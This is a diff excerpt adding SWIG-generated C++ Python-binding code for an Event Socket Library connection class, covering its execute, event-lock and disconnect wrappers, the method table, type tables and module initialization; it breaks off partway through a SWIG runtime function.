+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_execute" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_execute" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (obj2) {
+    res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_execute" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  if (obj3) {
+    res4 = SWIG_AsCharPtrAndSize(obj3, &buf4, NULL, &alloc4);
+    if (!SWIG_IsOK(res4)) {
+      SWIG_exception_fail(SWIG_ArgError(res4), "in method '" "ESLconnection_execute" "', argument " "4"" of type '" "char const *""'");
+    }
+    arg4 = reinterpret_cast< char * >(buf4);
+  }
+  result = (int)(arg1)->execute((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_executeAsync(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  int res4 ;
+  char *buf4 = 0 ;
+  int alloc4 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  PyObject * obj3 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO|OO:ESLconnection_executeAsync",&obj0,&obj1,&obj2,&obj3)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_executeAsync" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_executeAsync" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (obj2) {
+    res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_executeAsync" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  if (obj3) {
+    res4 = SWIG_AsCharPtrAndSize(obj3, &buf4, NULL, &alloc4);
+    if (!SWIG_IsOK(res4)) {
+      SWIG_exception_fail(SWIG_ArgError(res4), "in method '" "ESLconnection_executeAsync" "', argument " "4"" of type '" "char const *""'");
+    }
+    arg4 = reinterpret_cast< char * >(buf4);
+  }
+  result = (int)(arg1)->executeAsync((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  if (alloc4 == SWIG_NEWOBJ) delete[] buf4;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_setAsyncExecute(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLconnection_setAsyncExecute",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_setAsyncExecute" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_setAsyncExecute" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (int)(arg1)->setAsyncExecute((char const *)arg2);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_setEventLock(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLconnection_setEventLock",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_setEventLock" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_setEventLock" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (int)(arg1)->setEventLock((char const *)arg2);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_disconnect(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLconnection_disconnect",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_disconnect" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (int)(arg1)->disconnect();
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *ESLconnection_swigregister(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *obj;
+  if (!PyArg_ParseTuple(args,(char*)"O:swigregister", &obj)) return NULL;
+  SWIG_TypeNewClientData(SWIGTYPE_p_ESLconnection, SWIG_NewClientData(obj));
+  return SWIG_Py_Void();
+}
+
+SWIGINTERN PyObject *_wrap_eslSetLogLevel(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  int arg1 ;
+  int val1 ;
+  int ecode1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:eslSetLogLevel",&obj0)) SWIG_fail;
+  ecode1 = SWIG_AsVal_int(obj0, &val1);
+  if (!SWIG_IsOK(ecode1)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode1), "in method '" "eslSetLogLevel" "', argument " "1"" of type '" "int""'");
+  } 
+  arg1 = static_cast< int >(val1);
+  eslSetLogLevel(arg1);
+  resultobj = SWIG_Py_Void();
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+static PyMethodDef SwigMethods[] = {
+	 { (char *)"ESLevent_event_set", _wrap_ESLevent_event_set, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_event_get", _wrap_ESLevent_event_get, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_serialized_string_set", _wrap_ESLevent_serialized_string_set, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_serialized_string_get", _wrap_ESLevent_serialized_string_get, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_mine_set", _wrap_ESLevent_mine_set, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_mine_get", _wrap_ESLevent_mine_get, METH_VARARGS, NULL},
+	 { (char *)"new_ESLevent", _wrap_new_ESLevent, METH_VARARGS, NULL},
+	 { (char *)"delete_ESLevent", _wrap_delete_ESLevent, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_serialize", _wrap_ESLevent_serialize, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_setPriority", _wrap_ESLevent_setPriority, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_getHeader", _wrap_ESLevent_getHeader, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_getBody", _wrap_ESLevent_getBody, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_getType", _wrap_ESLevent_getType, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_addBody", _wrap_ESLevent_addBody, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_addHeader", _wrap_ESLevent_addHeader, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_delHeader", _wrap_ESLevent_delHeader, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_firstHeader", _wrap_ESLevent_firstHeader, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_nextHeader", _wrap_ESLevent_nextHeader, METH_VARARGS, NULL},
+	 { (char *)"ESLevent_swigregister", ESLevent_swigregister, METH_VARARGS, NULL},
+	 { (char *)"new_ESLconnection", _wrap_new_ESLconnection, METH_VARARGS, NULL},
+	 { (char *)"delete_ESLconnection", _wrap_delete_ESLconnection, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_socketDescriptor", _wrap_ESLconnection_socketDescriptor, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_connected", _wrap_ESLconnection_connected, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_getInfo", _wrap_ESLconnection_getInfo, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_send", _wrap_ESLconnection_send, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_sendRecv", _wrap_ESLconnection_sendRecv, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_api", _wrap_ESLconnection_api, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_bgapi", _wrap_ESLconnection_bgapi, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_sendEvent", _wrap_ESLconnection_sendEvent, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_recvEvent", _wrap_ESLconnection_recvEvent, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_recvEventTimed", _wrap_ESLconnection_recvEventTimed, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_filter", _wrap_ESLconnection_filter, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_events", _wrap_ESLconnection_events, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_execute", _wrap_ESLconnection_execute, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_executeAsync", _wrap_ESLconnection_executeAsync, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_setAsyncExecute", _wrap_ESLconnection_setAsyncExecute, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_setEventLock", _wrap_ESLconnection_setEventLock, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_disconnect", _wrap_ESLconnection_disconnect, METH_VARARGS, NULL},
+	 { (char *)"ESLconnection_swigregister", ESLconnection_swigregister, METH_VARARGS, NULL},
+	 { (char *)"eslSetLogLevel", _wrap_eslSetLogLevel, METH_VARARGS, NULL},
+	 { NULL, NULL, 0, NULL }
+};
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */
+
+static swig_type_info _swigt__p_ESLconnection = {"_p_ESLconnection", "ESLconnection *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_ESLevent = {"_p_ESLevent", "ESLevent *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_event_t = {"_p_esl_event_t", "esl_event_t *", 0, 0, (void*)0, 0};
+static swig_type_info _swigt__p_esl_priority_t = {"_p_esl_priority_t", "esl_priority_t *", 0, 0, (void*)0, 0};
+
+static swig_type_info *swig_type_initial[] = {
+  &_swigt__p_ESLconnection,
+  &_swigt__p_ESLevent,
+  &_swigt__p_char,
+  &_swigt__p_esl_event_t,
+  &_swigt__p_esl_priority_t,
+};
+
+static swig_cast_info _swigc__p_ESLconnection[] = {  {&_swigt__p_ESLconnection, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_ESLevent[] = {  {&_swigt__p_ESLevent, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_char[] = {  {&_swigt__p_char, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_event_t[] = {  {&_swigt__p_esl_event_t, 0, 0, 0},{0, 0, 0, 0}};
+static swig_cast_info _swigc__p_esl_priority_t[] = {  {&_swigt__p_esl_priority_t, 0, 0, 0},{0, 0, 0, 0}};
+
+static swig_cast_info *swig_cast_initial[] = {
+  _swigc__p_ESLconnection,
+  _swigc__p_ESLevent,
+  _swigc__p_char,
+  _swigc__p_esl_event_t,
+  _swigc__p_esl_priority_t,
+};
+
+
+/* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */
+
+static swig_const_info swig_const_table[] = {
+{0, 0, 0, 0.0, 0, 0}};
+
+#ifdef __cplusplus
+}
+#endif
+/* -----------------------------------------------------------------------------
+ * Type initialization:
+ * This problem is tough by the requirement that no dynamic 
+ * memory is used. Also, since swig_type_info structures store pointers to 
+ * swig_cast_info structures and swig_cast_info structures store pointers back
+ * to swig_type_info structures, we need some lookup code at initialization. 
+ * The idea is that swig generates all the structures that are needed. 
+ * The runtime then collects these partially filled structures. 
+ * The SWIG_InitializeModule function takes these initial arrays out of 
+ * swig_module, and does all the lookup, filling in the swig_module.types
+ * array with the correct data and linking the correct swig_cast_info
+ * structures together.
+ *
+ * The generated swig_type_info structures are assigned staticly to an initial 
+ * array. We just loop through that array, and handle each type individually.
+ * First we lookup if this type has been already loaded, and if so, use the
+ * loaded structure instead of the generated one. Then we have to fill in the
+ * cast linked list. The cast data is initially stored in something like a
+ * two-dimensional array. Each row corresponds to a type (there are the same
+ * number of rows as there are in the swig_type_initial array). Each entry in
+ * a column is one of the swig_cast_info structures for that type.
+ * The cast_initial array is actually an array of arrays, because each row has
+ * a variable number of columns. So to actually build the cast linked list,
+ * we find the array of casts associated with the type, and loop through it 
+ * adding the casts to the list. The one last trick we need to do is making
+ * sure the type pointer in the swig_cast_info struct is correct.
+ *
+ * First off, we lookup the cast->type name to see if it is already loaded. 
+ * There are three cases to handle:
+ *  1) If the cast->type has already been loaded AND the type we are adding
+ *     casting info to has not been loaded (it is in this module), THEN we
+ *     replace the cast->type pointer with the type pointer that has already
+ *     been loaded.
+ *  2) If BOTH types (the one we are adding casting info to, and the 
+ *     cast->type) are loaded, THEN the cast info has already been loaded by
+ *     the previous module so we just ignore it.
+ *  3) Finally, if cast->type has not already been loaded, then we add that
+ *     swig_cast_info to the linked list (because the cast->type) pointer will
+ *     be correct.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#if 0
+} /* c-mode */
+#endif
+#endif
+
+#if 0
+#define SWIGRUNTIME_DEBUG
+#endif
+
+
+SWIGRUNTIME void
+SWIG_InitializeModule(void *clientdata) {
+  size_t i;
+  swig_module_info *module_head, *iter;
+  int found, init;
+  
+  clientdata = clientdata;
+  
+  /* check to see if the circular list has been setup, if not, set it up */
+  if (swig_module.next==0) {
+    /* Initialize the swig_module */
+    swig_module.type_initial = swig_type_initial;
+    swig_module.cast_initial = swig_cast_initial;
+    swig_module.next = &swig_module;
+    init = 1;
+  } else {
+    init = 0;
+  }
+  
+  /* Try and load any already created modules */
+  module_head = SWIG_GetModule(clientdata);
+  if (!module_head) {
+    /* This is the first module loaded for this interpreter */
+    /* so set the swig module into the interpreter */
+    SWIG_SetModule(clientdata, &swig_module);
+    module_head = &swig_module;
+  } else {
+    /* the interpreter has loaded a SWIG module, but has it loaded this one? */
+    found=0;
+    iter=module_head;
+    do {
+      if (iter==&swig_module) {
+        found=1;
+        break;
+      }
+      iter=iter->next;
+    } while (iter!= module_head);
+    
+    /* if the is found in the list, then all is done and we may leave */
+    if (found) return;
+    /* otherwise we must add out module into the list */
+    swig_module.next = module_head->next;
+    module_head->next = &swig_module;
+  }
+  
+  /* When multiple interpeters are used, a module could have already been initialized in
+       a different interpreter, but not yet have a pointer in this interpreter.
+       In this case, we do not want to continue adding types... everything should be
+       set up already */
+  if (init == 0) return;
+  
+  /* Now work on filling in swig_module.types */
+#ifdef SWIGRUNTIME_DEBUG
+  printf("SWIG_InitializeModule: size %d\n", swig_module.size);
+#endif
+  for (i = 0; i < swig_module.size; ++i) {
+    swig_type_info *type = 0;
+    swig_type_info *ret;
+    swig_cast_info *cast;
+    
+#ifdef SWIGRUNTIME_DEBUG
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+#endif
+    
+    /* if there is another module already loaded */
+    if (swig_module.next != &swig_module) {
+      type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name);
+    }
+    if (type) {
+      /* Overwrite clientdata field */
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found type %s\n", type->name);
+#endif
+      if (swig_module.type_initial[i]->clientdata) {
+        type->clientdata = swig_module.type_initial[i]->clientdata;
+#ifdef SWIGRUNTIME_DEBUG
+        printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name);
+#endif
+      }
+    } else {
+      type = swig_module.type_initial[i];
+    }
+    
+    /* Insert casting types */
+    cast = swig_module.cast_initial[i];
+    while (cast->type) {
+      /* Don't need to add information already in the list */
+      ret = 0;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: look cast %s\n", cast->type->name);
+#endif
+      if (swig_module.next != &swig_module) {
+        ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name);
+#ifdef SWIGRUNTIME_DEBUG
+        if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name);
+#endif
+      }
+      if (ret) {
+        if (type == swig_module.type_initial[i]) {
+#ifdef SWIGRUNTIME_DEBUG
+          printf("SWIG_InitializeModule: skip old type %s\n", ret->name);
+#endif
+          cast->type = ret;
+          ret = 0;
+        } else {
+          /* Check for casting already in the list */
+          swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type);
+#ifdef SWIGRUNTIME_DEBUG
+          if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name);
+#endif
+          if (!ocast) ret = 0;
+        }
+      }
+      
+      if (!ret) {
+#ifdef SWIGRUNTIME_DEBUG
+        printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name);
+#endif
+        if (type->cast) {
+          type->cast->prev = cast;
+          cast->next = type->cast;
+        }
+        type->cast = cast;
+      }
+      cast++;
+    }
+    /* Set entry in modules->types array equal to the type */
+    swig_module.types[i] = type;
+  }
+  swig_module.types[i] = 0;
+  
+#ifdef SWIGRUNTIME_DEBUG
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+  for (i = 0; i < swig_module.size; ++i) {
+    int j = 0;
+    swig_cast_info *cast = swig_module.cast_initial[i];
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+    while (cast->type) {
+      printf("SWIG_InitializeModule: cast type %s\n", cast->type->name);
+      cast++;
+      ++j;
+    }
+    printf("---- Total casts: %d\n",j);
+  }
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+#endif
+}
+
+/* This function will propagate the clientdata field of type to
+* any new swig_type_info structures that have been added into the list
+* of equivalent types.  It is like calling
+* SWIG_TypeClientData(type, clientdata) a second time.
+*/
+SWIGRUNTIME void
+SWIG_PropagateClientData(void) {
+  size_t i;
+  swig_cast_info *equiv;
+  static int init_run = 0;
+  
+  if (init_run) return;
+  init_run = 1;
+  
+  for (i = 0; i < swig_module.size; i++) {
+    if (swig_module.types[i]->clientdata) {
+      equiv = swig_module.types[i]->cast;
+      while (equiv) {
+        if (!equiv->converter) {
+          if (equiv->type && !equiv->type->clientdata)
+          SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata);
+        }
+        equiv = equiv->next;
+      }
+    }
+  }
+}
+
+#ifdef __cplusplus
+#if 0
+{
+  /* c-mode */
+#endif
+}
+#endif
+
+
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+  
+  /* Python-specific SWIG API */
+#define SWIG_newvarlink()                             SWIG_Python_newvarlink()
+#define SWIG_addvarlink(p, name, get_attr, set_attr)  SWIG_Python_addvarlink(p, name, get_attr, set_attr)
+#define SWIG_InstallConstants(d, constants)           SWIG_Python_InstallConstants(d, constants)
+  
+  /* -----------------------------------------------------------------------------
+   * global variable support code.
+   * ----------------------------------------------------------------------------- */
+  
+  typedef struct swig_globalvar {
+    char       *name;                  /* Name of global variable */
+    PyObject *(*get_attr)(void);       /* Return the current value */
+    int       (*set_attr)(PyObject *); /* Set the value */
+    struct swig_globalvar *next;
+  } swig_globalvar;
+  
+  typedef struct swig_varlinkobject {
+    PyObject_HEAD
+    swig_globalvar *vars;
+  } swig_varlinkobject;
+  
+  SWIGINTERN PyObject *
+  swig_varlink_repr(swig_varlinkobject *SWIGUNUSEDPARM(v)) {
+    return PyString_FromString("<Swig global variables>");
+  }
+  
+  SWIGINTERN PyObject *
+  swig_varlink_str(swig_varlinkobject *v) {
+    PyObject *str = PyString_FromString("(");
+    swig_globalvar  *var;
+    for (var = v->vars; var; var=var->next) {
+      PyString_ConcatAndDel(&str,PyString_FromString(var->name));
+      if (var->next) PyString_ConcatAndDel(&str,PyString_FromString(", "));
+    }
+    PyString_ConcatAndDel(&str,PyString_FromString(")"));
+    return str;
+  }
+  
+  SWIGINTERN int
+  swig_varlink_print(swig_varlinkobject *v, FILE *fp, int SWIGUNUSEDPARM(flags)) {
+    PyObject *str = swig_varlink_str(v);
+    fprintf(fp,"Swig global variables ");
+    fprintf(fp,"%s\n", PyString_AsString(str));
+    Py_DECREF(str);
+    return 0;
+  }
+  
+  SWIGINTERN void
+  swig_varlink_dealloc(swig_varlinkobject *v) {
+    swig_globalvar *var = v->vars;
+    while (var) {
+      swig_globalvar *n = var->next;
+      free(var->name);
+      free(var);
+      var = n;
+    }
+  }
+  
+  SWIGINTERN PyObject *
+  swig_varlink_getattr(swig_varlinkobject *v, char *n) {
+    PyObject *res = NULL;
+    swig_globalvar *var = v->vars;
+    while (var) {
+      if (strcmp(var->name,n) == 0) {
+        res = (*var->get_attr)();
+        break;
+      }
+      var = var->next;
+    }
+    if (res == NULL && !PyErr_Occurred()) {
+      PyErr_SetString(PyExc_NameError,"Unknown C global variable");
+    }
+    return res;
+  }
+  
+  SWIGINTERN int
+  swig_varlink_setattr(swig_varlinkobject *v, char *n, PyObject *p) {
+    int res = 1;
+    swig_globalvar *var = v->vars;
+    while (var) {
+      if (strcmp(var->name,n) == 0) {
+        res = (*var->set_attr)(p);
+        break;
+      }
+      var = var->next;
+    }
+    if (res == 1 && !PyErr_Occurred()) {
+      PyErr_SetString(PyExc_NameError,"Unknown C global variable");
+    }
+    return res;
+  }
+  
+  SWIGINTERN PyTypeObject*
+  swig_varlink_type(void) {
+    static char varlink__doc__[] = "Swig var link object";
+    static PyTypeObject varlink_type;
+    static int type_init = 0;  
+    if (!type_init) {
+      const PyTypeObject tmp
+      = {
+        PyObject_HEAD_INIT(NULL)
+        0,                                  /* Number of items in variable part (ob_size) */
+        (char *)"swigvarlink",              /* Type name (tp_name) */
+        sizeof(swig_varlinkobject),         /* Basic size (tp_basicsize) */
+        0,                                  /* Itemsize (tp_itemsize) */
+        (destructor) swig_varlink_dealloc,   /* Deallocator (tp_dealloc) */ 
+        (printfunc) swig_varlink_print,     /* Print (tp_print) */
+        (getattrfunc) swig_varlink_getattr, /* get attr (tp_getattr) */
+        (setattrfunc) swig_varlink_setattr, /* Set attr (tp_setattr) */
+        0,                                  /* tp_compare */
+        (reprfunc) swig_varlink_repr,       /* tp_repr */
+        0,                                  /* tp_as_number */
+        0,                                  /* tp_as_sequence */
+        0,                                  /* tp_as_mapping */
+        0,                                  /* tp_hash */
+        0,                                  /* tp_call */
+        (reprfunc)swig_varlink_str,        /* tp_str */
+        0,                                  /* tp_getattro */
+        0,                                  /* tp_setattro */
+        0,                                  /* tp_as_buffer */
+        0,                                  /* tp_flags */
+        varlink__doc__,                     /* tp_doc */
+        0,                                  /* tp_traverse */
+        0,                                  /* tp_clear */
+        0,                                  /* tp_richcompare */
+        0,                                  /* tp_weaklistoffset */
+#if PY_VERSION_HEX >= 0x02020000
+        0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, /* tp_iter -> tp_weaklist */
+#endif
+#if PY_VERSION_HEX >= 0x02030000
+        0,                                  /* tp_del */
+#endif
+#ifdef COUNT_ALLOCS
+        0,0,0,0                             /* tp_alloc -> tp_next */
+#endif
+      };
+      varlink_type = tmp;
+      varlink_type.ob_type = &PyType_Type;
+      type_init = 1;
+    }
+    return &varlink_type;
+  }
+  
+  /* Create a variable linking object for use later */
+  SWIGINTERN PyObject *
+  SWIG_Python_newvarlink(void) {
+    swig_varlinkobject *result = PyObject_NEW(swig_varlinkobject, swig_varlink_type());
+    if (result) {
+      result->vars = 0;
+    }
+    return ((PyObject*) result);
+  }
+  
+  SWIGINTERN void 
+  SWIG_Python_addvarlink(PyObject *p, char *name, PyObject *(*get_attr)(void), int (*set_attr)(PyObject *p)) {
+    swig_varlinkobject *v = (swig_varlinkobject *) p;
+    swig_globalvar *gv = (swig_globalvar *) malloc(sizeof(swig_globalvar));
+    if (gv) {
+      size_t size = strlen(name)+1;
+      gv->name = (char *)malloc(size);
+      if (gv->name) {
+        strncpy(gv->name,name,size);
+        gv->get_attr = get_attr;
+        gv->set_attr = set_attr;
+        gv->next = v->vars;
+      }
+    }
+    v->vars = gv;
+  }
+  
+  SWIGINTERN PyObject *
+  SWIG_globals(void) {
+    static PyObject *_SWIG_globals = 0; 
+    if (!_SWIG_globals) _SWIG_globals = SWIG_newvarlink();  
+    return _SWIG_globals;
+  }
+  
+  /* -----------------------------------------------------------------------------
+   * constants/methods manipulation
+   * ----------------------------------------------------------------------------- */
+  
+  /* Install Constants */
+  SWIGINTERN void
+  SWIG_Python_InstallConstants(PyObject *d, swig_const_info constants[]) {
+    PyObject *obj = 0;
+    size_t i;
+    for (i = 0; constants[i].type; ++i) {
+      switch(constants[i].type) {
+      case SWIG_PY_POINTER:
+        obj = SWIG_NewPointerObj(constants[i].pvalue, *(constants[i]).ptype,0);
+        break;
+      case SWIG_PY_BINARY:
+        obj = SWIG_NewPackedObj(constants[i].pvalue, constants[i].lvalue, *(constants[i].ptype));
+        break;
+      default:
+        obj = 0;
+        break;
+      }
+      if (obj) {
+        PyDict_SetItemString(d, constants[i].name, obj);
+        Py_DECREF(obj);
+      }
+    }
+  }
+  
+  /* -----------------------------------------------------------------------------*/
+  /* Fix SwigMethods to carry the callback ptrs when needed */
+  /* -----------------------------------------------------------------------------*/
+  
+  SWIGINTERN void
+  SWIG_Python_FixMethods(PyMethodDef *methods,
+    swig_const_info *const_table,
